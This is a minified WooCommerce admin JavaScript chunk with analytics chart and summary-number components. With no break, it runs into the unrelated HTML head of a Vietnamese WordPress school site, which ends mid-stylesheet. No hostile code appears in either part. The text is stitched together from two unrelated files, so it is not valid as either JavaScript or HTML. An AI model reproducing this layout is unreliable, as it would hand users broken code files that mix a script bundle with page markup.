"use strict";(globalThis.webpackChunk_wcAdmin_webpackJsonp=globalThis.webpackChunk_wcAdmin_webpackJsonp||[]).push([[8858],{86179:(e,t,r)=>{r.d(t,{Z:()=>R});var a=r(69307),s=r(65736),n=r(94333),i=r(69771),o=r(9818),l=r(92819),u=r(7862),c=r.n(u),m=r(86020),d=r(67221),p=r(81921),y=r(17844),g=r(26707),h=r(10431);function f(e,t,r={}){if(!e||0===e.length)return null;const a=e.slice(0),s=a.pop();if(s.showFilters(t,r)){const e=(0,h.flattenFilters)(s.filters),r=t[s.param]||s.defaultValue||"all";return(0,l.find)(e,{value:r})}return f(a,t,r)}function b(e){return t=>(0,i.format)(e,t)}class C extends a.Component{shouldComponentUpdate(e){return e.isRequesting!==this.props.isRequesting||e.primaryData.isRequesting!==this.props.primaryData.isRequesting||e.secondaryData.isRequesting!==this.props.secondaryData.isRequesting||!(0,l.isEqual)(e.query,this.props.query)}getItemChartData(){const{primaryData:e,selectedChart:t}=this.props;return e.data.intervals.map((function(e){const r={};return e.subtotals.segments.forEach((function(e){if(e.segment_label){const a=r[e.segment_label]?e.segment_label+" (#"+e.segment_id+")":e.segment_label;r[e.segment_id]={label:a,value:e.subtotals[t.key]||0}}})),{date:(0,i.format)("Y-m-d\\TH:i:s",e.date_start),...r}}))}getTimeChartData(){const{query:e,primaryData:t,secondaryData:r,selectedChart:a,defaultDateRange:s}=this.props,n=(0,p.getIntervalForQuery)(e,s),{primary:o,secondary:l}=(0,p.getCurrentDates)(e,s);return t.data.intervals.map((function(t,s){const u=(0,p.getPreviousDate)(t.date_start,o.after,l.after,e.compare,n),c=r.data.intervals[s];return{date:(0,i.format)("Y-m-d\\TH:i:s",t.date_start),primary:{label:`${o.label} (${o.range})`,labelDate:t.date_start,value:t.subtotals[a.key]||0},secondary:{label:`${l.label} (${l.range})`,labelDate:u.format("YYYY-MM-DD HH:mm:ss"),value:c&&c.subtotals[a.key]||0}}}))}getTimeChartTotals(){const{primaryData:e,secondaryData:t,selectedChart:r}=this.props;return{primary:(0,l.get)(e,["data","totals",r.key],null),secondary:(0,l.get)(t,["data","totals",r.key],null)}}renderChart(e,t,r,n){const{emptySearchResults:i,filterParam:o,interactiveLegend:l,itemsLabel:u,legendPosition:c,path:y,query:g,selectedChart:h,showHeaderControls:f,primaryData:C,defaultDateRange:R}=this.props,v=(0,p.getIntervalForQuery)(g,R),D=(0,p.getAllowedIntervalsForQuery)(g,R),q=(0,p.getDateFormatsForInterval)(v,C.data.intervals.length,{type:"php"}),_=i?(0,s.__)("No data for the current search","woocommerce"):(0,s.__)("No data for the selected date range","woocommerce"),{formatAmount:E,getCurrencyConfig:T}=this.context;return(0,a.createElement)(m.Chart,{allowedIntervals:D,data:r,dateParser:"%Y-%m-%dT%H:%M:%S",emptyMessage:_,filterParam:o,interactiveLegend:l,interval:v,isRequesting:t,itemsLabel:u,legendPosition:c,legendTotals:n,mode:e,path:y,query:g,screenReaderFormat:b(q.screenReaderFormat),showHeaderControls:f,title:h.label,tooltipLabelFormat:b(q.tooltipLabelFormat),tooltipTitle:"time-comparison"===e&&h.label||null,tooltipValueFormat:(0,d.getTooltipValueFormat)(h.type,E),chartType:(0,p.getChartTypeForQuery)(g),valueType:h.type,xFormat:b(q.xFormat),x2Format:b(q.x2Format),currency:T()})}renderItemComparison(){const{isRequesting:e,primaryData:t}=this.props;if(t.isError)return(0,a.createElement)(g.Z,null);const r=e||t.isRequesting,s=this.getItemChartData();return this.renderChart("item-comparison",r,s)}renderTimeComparison(){const{isRequesting:e,primaryData:t,secondaryData:r}=this.props;if(!t||t.isError||r.isError)return(0,a.createElement)(g.Z,null);const s=e||t.isRequesting||r.isRequesting,n=this.getTimeChartData(),i=this.getTimeChartTotals();return this.renderChart("time-comparison",s,n,i)}render(){const{mode:e}=this.props;return"item-comparison"===e?this.renderItemComparison():this.renderTimeComparison()}}C.contextType=y.CurrencyContext,C.propTypes={filters:c().array,isRequesting:c().bool,itemsLabel:c().string,limitProperties:c().array,mode:c().string,path:c().string.isRequired,primaryData:c().object,query:c().object.isRequired,secondaryData:c().object,selectedChart:c().shape({key:c().string.isRequired,label:c().string.isRequired,order:c().oneOf(["asc","desc"]),orderby:c().string,type:c().oneOf(["average","number","currency"]).isRequired}).isRequired},C.defaultProps={isRequesting:!1,primaryData:{data:{intervals:[]},isError:!1,isRequesting:!1},secondaryData:{data:{intervals:[]},isError:!1,isRequesting:!1}};const R=(0,n.compose)((0,o.withSelect)(((e,t)=>{const{charts:r,endpoint:a,filters:s,isRequesting:n,limitProperties:i,query:o,advancedFilters:u}=t,c=i||[a],m=f(s,o),p=(0,l.get)(m,["settings","param"]),y=t.mode||function(e,t){if(e&&t){const r=(0,l.get)(e,["settings","param"]);if(!r||Object.keys(t).includes(r))return(0,l.get)(e,["chartMode"])}return null}(m,o)||"time-comparison",{woocommerce_default_date_range:g}=e(d.SETTINGS_STORE_NAME).getSetting("wc_admin","wcAdminSettings"),h=e(d.REPORTS_STORE_NAME),b={mode:y,filterParam:p,defaultDateRange:g};if(n)return b;const C=c.some((e=>o[e]&&o[e].length));if(o.search&&!C)return{...b,emptySearchResults:!0};const R=r&&r.map((e=>e.key)),v=(0,d.getReportChartData)({endpoint:a,dataType:"primary",query:o,selector:h,limitBy:c,filters:s,advancedFilters:u,defaultDateRange:g,fields:R});if("item-comparison"===y)return{...b,primaryData:v};const D=(0,d.getReportChartData)({endpoint:a,dataType:"secondary",query:o,selector:h,limitBy:c,filters:s,advancedFilters:u,defaultDateRange:g,fields:R});return{...b,primaryData:v,secondaryData:D}})))(C)},31634:(e,t,r)=>{r.d(t,{Z:()=>b});var a=r(69307),s=r(65736),n=r(94333),i=r(9818),o=r(7862),l=r.n(o),u=r(10431),c=r(86020),m=r(81595),d=r(67221),p=r(81921),y=r(14599),g=r(17844),h=r(26707);class f extends a.Component{formatVal(e,t){const{formatAmount:r,getCurrencyConfig:a}=this.context;return"currency"===t?r(e):(0,m.formatValue)(a(),t,e)}getValues(e,t){const{emptySearchResults:r,summaryData:a}=this.props,{totals:s}=a,n=s.primary?s.primary[e]:0,i=s.secondary?s.secondary[e]:0,o=r?0:n,l=r?0:i;return{delta:(0,m.calculateDelta)(o,l),prevValue:this.formatVal(l,t),value:this.formatVal(o,t)}}render(){const{charts:e,query:t,selectedChart:r,summaryData:n,endpoint:i,report:o,defaultDateRange:l}=this.props,{isError:m,isRequesting:d}=n;if(m)return(0,a.createElement)(h.Z,null);if(d)return(0,a.createElement)(c.SummaryListPlaceholder,{numberOfItems:e.length});const{compare:g}=(0,p.getDateParamsFromQuery)(t,l);return(0,a.createElement)(c.SummaryList,null,(({onToggle:t})=>e.map((e=>{const{key:n,order:l,orderby:m,label:d,type:p,isReverseTrend:h,labelTooltipText:f}=e,b={chart:n};m&&(b.orderby=m),l&&(b.order=l);const C=(0,u.getNewPath)(b),R=r.key===n,{delta:v,prevValue:D,value:q}=this.getValues(n,p);return(0,a.createElement)(c.SummaryNumber,{key:n,delta:v,href:C,label:d,reverseTrend:h,prevLabel:"previous_period"===g?(0,s.__)("Previous period:","woocommerce"):(0,s.__)("Previous year:","woocommerce"),prevValue:D,selected:R,value:q,labelTooltipText:f,onLinkClickCallback:()=>{t&&t(),(0,y.recordEvent)("analytics_chart_tab_click",{report:o||i,key:n})}})}))))}}f.propTypes={charts:l().array.isRequired,endpoint:l().string.isRequired,limitProperties:l().array,query:l().object.isRequired,selectedChart:l().shape({key:l().string.isRequired,label:l().string.isRequired,order:l().oneOf(["asc","desc"]),orderby:l().string,type:l().oneOf(["average","number","currency"]).isRequired}).isRequired,summaryData:l().object,report:l().string},f.defaultProps={summaryData:{totals:{primary:{},secondary:{}},isError:!1}},f.contextType=g.CurrencyContext;const b=(0,n.compose)((0,i.withSelect)(((e,t)=>{const{charts:r,endpoint:a,limitProperties:s,query:n,filters:i,advancedFilters:o}=t,l=s||[a],u=l.some((e=>n[e]&&n[e].length));if(n.search&&!u)return{emptySearchResults:!0};const c=r&&r.map((e=>e.key)),{woocommerce_default_date_range:m}=e(d.SETTINGS_STORE_NAME).getSetting("wc_admin","wcAdminSettings");return{summaryData:(0,d.getSummaryNumbers)({endpoint:a,query:n,select:e,limitBy:l,filters:i,advancedFilters:o,defaultDateRange:m,fields:c}),defaultDateRange:m}})))(f)},35811:(e,t,r)=>{function a(e,t,r){return!!t&&e&&t<=r==="instock"}r.d(t,{d:()=>a})},1608:(e,t,r)=>{r.d(t,{I:()=>s});var a=r(65736);function s(e){return[e.country,e.state,e.name||(0,a.__)("TAX","woocommerce"),e.priority].map((e=>e.toString().toUpperCase().trim())).filter(Boolean).join("-")}},8887:(e,t,r)=>{r.d(t,{FI:()=>h,V1:()=>f,YC:()=>d,hQ:()=>p,jk:()=>y,oC:()=>g,qc:()=>m,uC:()=>b});var a=r(96483),s=r(86989),n=r.n(s),i=r(92819),o=r(10431),l=r(67221),u=r(1608),c=r(61935);function m(e,t=i.identity){return function(r="",s){const i="function"==typeof e?e(s):e,l=(0,o.getIdsFromQuery)(r);if(l.length<1)return Promise.resolve([]);const u={include:l.join(","),per_page:l.length};return n()({path:(0,a.addQueryArgs)(i,u)}).then((e=>e.map(t)))}}m(l.NAMESPACE+"/products/attributes",(e=>({key:e.id,label:e.name})));const d=m(l.NAMESPACE+"/products/categories",(e=>({key:e.id,label:e.name}))),p=m(l.NAMESPACE+"/coupons",(e=>({key:e.id,label:e.code}))),y=m(l.NAMESPACE+"/customers",(e=>({key:e.id,label:e.name}))),g=m(l.NAMESPACE+"/products",(e=>({key:e.id,label:e.name}))),h=m(l.NAMESPACE+"/taxes",(e=>({key:e.id,label:(0,u.I)(e)})));function f({attributes:e,name:t}){const r=(0,c.O3)("variationTitleAttributesSeparator"," - ");if(t&&t.indexOf(r)>-1)return t;const a=(e||[]).map((({option:e})=>e)).join(", ");return a?t+r+a:t}const b=m((({products:e})=>e?l.NAMESPACE+`/products/${e}/variations`:l.NAMESPACE+"/variations"),(e=>({key:e.id,label:f(e)})))},29860:(e,t,r)=>{r.d(t,{Z:()=>s});var a=r(92819);function s(e,t=[]){return(0,a.find)(t,{key:e})||t[0]}}}]);<!DOCTYPE html>
<!--[if IE 9 ]> <html lang="vi" class="ie9 loading-site no-js"> <![endif]-->
<!--[if IE 8 ]> <html lang="vi" class="ie8 loading-site no-js"> <![endif]-->
<!--[if (gte IE 9)|!(IE)]><!--><html lang="vi" class="loading-site no-js"> <!--<![endif]-->
<head>
<meta charset="UTF-8" />
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="pingback" href="https://myschool.com.vn/xmlrpc.php" />
<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>
<title>Sections &#8211; mySchool</title>
<meta name='robots' content='max-image-preview:large' />
<style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /><link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Dòng thông tin mySchool &raquo;" href="https://myschool.com.vn/feed/" />
<link rel="alternate" type="application/rss+xml" title="mySchool &raquo; Dòng bình luận" href="https://myschool.com.vn/comments/feed/" />
<!-- <link rel='stylesheet' id='wp-block-library-css' href='https://myschool.com.vn/wp-includes/css/dist/block-library/style.min.css?ver=6.7.2' type='text/css' media='all' /> -->
<link rel="stylesheet" type="text/css" href="//myschool.com.vn/wp-content/cache/wpfc-minified/7b2du0s9/drftj.css" media="all"/>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<!-- <link rel='stylesheet' id='contact-form-7-css' href='https://myschool.com.vn/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.6' type='text/css' media='all' /> -->
<!-- <link rel='stylesheet' id='flatsome-icons-css' href='https://myschool.com.vn/wp-content/themes/flatsome/assets/css/fl-icons.css?ver=3.11' type='text/css' media='all' /> -->
<!-- <link rel='stylesheet' id='flatsome-main-css' href='https://myschool.com.vn/wp-content/themes/flatsome/assets/css/flatsome.css?ver=3.11.3' type='text/css' media='all' /> -->
<!-- <link rel='stylesheet' id='flatsome-style-css' href='https://myschool.com.vn/wp-content/themes/flatsome-child/style.css?ver=3.0' type='text/css' media='all' /> -->
<link rel="stylesheet" type="text/css" href="//myschool.com.vn/wp-content/cache/wpfc-minified/r609t2x/drftj.css" media="all"/>
<link rel='stylesheet' id='flatsome-googlefonts-css' href='//fonts.googleapis.com/css?family=Varela+Round%3Aregular%2Cregular%2Cregular%2Cregular%2Cregular&#038;display=block&#038;ver=3.9' type='text/css' media='all' />
<script type="text/javascript" src="https://myschool.com.vn/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script type="text/javascript" src="https://myschool.com.vn/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<link rel="https://api.w.org/" href="https://myschool.com.vn/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://myschool.com.vn/wp-json/wp/v2/pages/71" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://myschool.com.vn/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.7.2" />
<link rel="canonical" href="https://myschool.com.vn/elements/sections/" />
<link rel='shortlink' href='https://myschool.com.vn/?p=71' />
<link rel="alternate" title="oNhúng (JSON)" type="application/json+oembed" href="https://myschool.com.vn/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fmyschool.com.vn%2Felements%2Fsections%2F" />
<link rel="alternate" title="oNhúng (XML)" type="text/xml+oembed" href="https://myschool.com.vn/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fmyschool.com.vn%2Felements%2Fsections%2F&#038;format=xml" />
<style>.bg{opacity: 0; transition: opacity 1s; -webkit-transition: opacity 1s;} .bg-loaded{opacity: 1;}</style><!--[if IE]><link rel="stylesheet" type="text/css" href="https://myschool.com.vn/wp-content/themes/flatsome/assets/css/ie-fallback.css"><script src="//cdnjs.cloudflare.com/ajax/libs/html5shiv/3.6.1/html5shiv.js"></script><script>var head = document.getElementsByTagName('head')[0],style = document.createElement('style');style.type = 'text/css';style.styleSheet.cssText = ':before,:after{content:none !important';head.appendChild(style);setTimeout(function(){head.removeChild(style);}, 0);</script><script src="https://myschool.com.vn/wp-content/themes/flatsome/assets/libs/ie-flexibility.js"></script><![endif]--><link rel="icon" href="https://myschool.com.vn/wp-content/uploads/2020/07/cropped-1-32x32.png" sizes="32x32" />
<link rel="icon" href="https://myschool.com.vn/wp-content/uploads/2020/07/cropped-1-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://myschool.com.vn/wp-content/uploads/2020/07/cropped-1-180x180.png" />
<meta name="msapplication-TileImage" content="https://myschool.com.vn/wp-content/uploads/2020/07/cropped-1-270x270.png" />
<style id="custom-css" type="text/css">:root {--primary-color: #008cb2;}.header-main{height: 100px}#logo img{max-height: 100px}#logo{width:300px;}#logo img{padding:10px 0;}.header-bottom{min-height: 10px}.header-top{min-height: 30px}.transparent .header-main{height: 100px}.transparent #logo img{max-height: 100px}.has-transparent + .page-title:first-of-type,.has-transparent + #main > .page-title,.has-transparent + #main > div > .page-title,.has-transparent + #main .page-header-wrapper:first-of-type .page-title{padding-top: 100px;}.header.show-on-scroll,.stuck .header-main{height:70px!important}.stuck #logo img{max-height: 70px!important}.search-form{ width: 100%;}.header-bg-color, .header-wrapper {background-color: rgba(255,255,255,0.9)}.header-bottom {background-color: #ffffff}.header-main .nav > li > a{line-height: 20px }@media (max-width: 549px) {.header-main{height: 70px}#logo img{max-height: 70px}}.header-top{background-color:#dd3333!important;}/* Color */.accordion-title.active, .has-icon-bg .icon .icon-inner,.logo a, .primary.is-underline, .primary.is-link, .badge-outline .badge-inner, .nav-outline > li.active> a,.nav-outline >li.active > a, .cart-icon strong,[data-color='primary'], .is-outline.primary{color: #008cb2;}/* Color !important */[data-text-color="primary"]{color: #008cb2!important;}/* Background Color */[data-text-bg="primary"]{background-color: #008cb2;}/* Background */.scroll-to-bullets a,.featured-title, .label-new.menu-item > a:after, .nav-pagination > li > .current,.nav-pagination > li > span:hover,.nav-pagination > li > a:hover,.has-hover:hover .badge-outline .badge-inner,button[type="submit"], .button.wc-forward:not(.checkout):not(.checkout-button), .button.submit-button, .button.primary:not(.is-outline),.featured-table .title,.is-outline:hover, .has-icon:hover .icon-label,.nav-dropdown-bold .nav-column li > a:hover, .nav-dropdown.nav-dropdown-bold > li > a:hover, .nav-dropdown-bold.dark .nav-column li > a:hover, .nav-dropdown.nav-dropdown-bold.dark > li > a:hover, .is-outline:hover, .tagcloud a:hover,.grid-tools a, input[type='submit']:not(.is-form), .box-badge:hover .box-text, input.button.alt,.nav-box > li > a:hover,.nav-box > li.active > a,.nav-pills > li.active > a ,.current-dropdown .cart-icon strong, .cart-icon:hover strong, .nav-line-bottom > li > a:before, .nav-line-grow > li > a:before, .nav-line > li > a:before,.banner, .header-top, .slider-nav-circle .flickity-prev-next-button:hover svg, .slider-nav-circle .flickity-prev-next-button:hover .arrow, .primary.is-outline:hover, .button.primary:not(.is-outline), input[type='submit'].primary, input[type='submit'].primary, input[type='reset'].button, input[type='button'].primary, .badge-inner{background-color: #008cb2;}/* Border */.nav-vertical.nav-tabs > li.active > a,.scroll-to-bullets a.active,.nav-pagination > li > .current,.nav-pagination > li > span:hover,.nav-pagination > li > a:hover,.has-hover:hover .badge-outline .badge-inner,.accordion-title.active,.featured-table,.is-outline:hover, .tagcloud a:hover,blockquote, .has-border, .cart-icon strong:after,.cart-icon strong,.blockUI:before, .processing:before,.loading-spin, .slider-nav-circle .flickity-prev-next-button:hover svg, .slider-nav-circle .flickity-prev-next-button:hover .arrow, .primary.is-outline:hover{border-color: #008cb2}.nav-tabs > li.active > a{border-top-color: #008cb2}.widget_shopping_cart_content .blockUI.blockOverlay:before { border-left-color: #008cb2 }.woocommerce-checkout-review-order .blockUI.blockOverlay:before { border-left-color: #008cb2 }/* Fill */.slider .flickity-prev-next-button:hover svg,.slider .flickity-prev-next-button:hover .arrow{fill: #008cb2;}/* Background Color */[data-icon-label]:after, .secondary.is-underline:hover,.secondary.is-outline:hover,.icon-label,.button.secondary:not(.is-outline),.button.alt:not(.is-outline), .badge-inner.on-sale, .button.checkout, .single_add_to_cart_button, .current .breadcrumb-step{ background-color:#4ad8ff; }[data-text-bg="secondary"]{background-color: #4ad8ff;}/* Color */.secondary.is-underline,.secondary.is-link, .secondary.is-outline,.stars a.active, .star-rating:before, .woocommerce-page .star-rating:before,.star-rating span:before, .color-secondary{color: #4ad8ff}/* Color !important */[data-text-color="secondary"]{color: #4ad8ff!important;}/* Border */.secondary.is-outline:hover{border-color:#4ad8ff}body{font-size: 100%;}@media screen and (max-width: 549px){body{font-size: 100%;}}body{font-family:"Varela Round", sans-serif}body{font-weight: 0}.nav > li > a {font-family:"Varela Round", sans-serif;}.nav > li > a {font-weight: 0;}h1,h2,h3,h4,h5,h6,.heading-font, .off-canvas-center .nav-sidebar.nav-vertical > li > a{font-family: "Varela Round", sans-serif;}h1,h2,h3,h4,h5,h6,.heading-font,.banner h1,.banner h2{font-weight: 0;}.alt-font{font-family: "Varela Round", sans-serif;}.alt-font{font-weight: 0!important;}.header-main .social-icons,.header-main .cart-icon strong,.header-main .menu-title,.header-main .header-button > .button.is-outline,.header-main .nav > li > a > i:not(.icon-angle-down){color: #dd3333!important;}.header-main .header-button > .button.is-outline,.header-main .cart-icon strong:after,.header-main .cart-icon strong{border-color: #dd3333!important;}.header-main .header-button > .button:not(.is-outline){background-color: #dd3333!important;}.header-main .current-dropdown .cart-icon strong,.header-main .header-button > .button:hover,.header-main .header-button > .button:hover i,.header-main .header-button > .button:hover span{color:#FFF!important;}.header-main .menu-title:hover,.header-main .social-icons a:hover,.header-main .header-button > .button.is-outline:hover,.header-main .nav > li > a:hover > i:not(.icon-angle-down){color: #dd3333!important;}.header-main .current-dropdown .cart-icon strong,.header-main .header-button > .button:hover{background-color: #dd3333!important;}.header-main .current-dropdown .cart-icon strong:after,.header-main .current-dropdown .cart-icon strong,.header-main .header-button > .button:hover{border-color: #dd3333!important;}.footer-1{background-color: #d8d8d8}.footer-2{background-color: #002444}.absolute-footer, html{background-color: #d33232}.label-new.menu-item > a:after{content:"New";}.label-hot.menu-item > a:after{content:"Hot";}.label-sale.menu-item > a:after{content:"Sale";}.label-popular.menu-item > a:after{content:"Popular";}</style>		<style type="text/css" id="wp-custom-css">
/* ẩn thông báo bình luận bị tắt */
span.post_comments.op-7.block.is-xsmall {
display: none;
}
/* css hover phan he chuc nang */
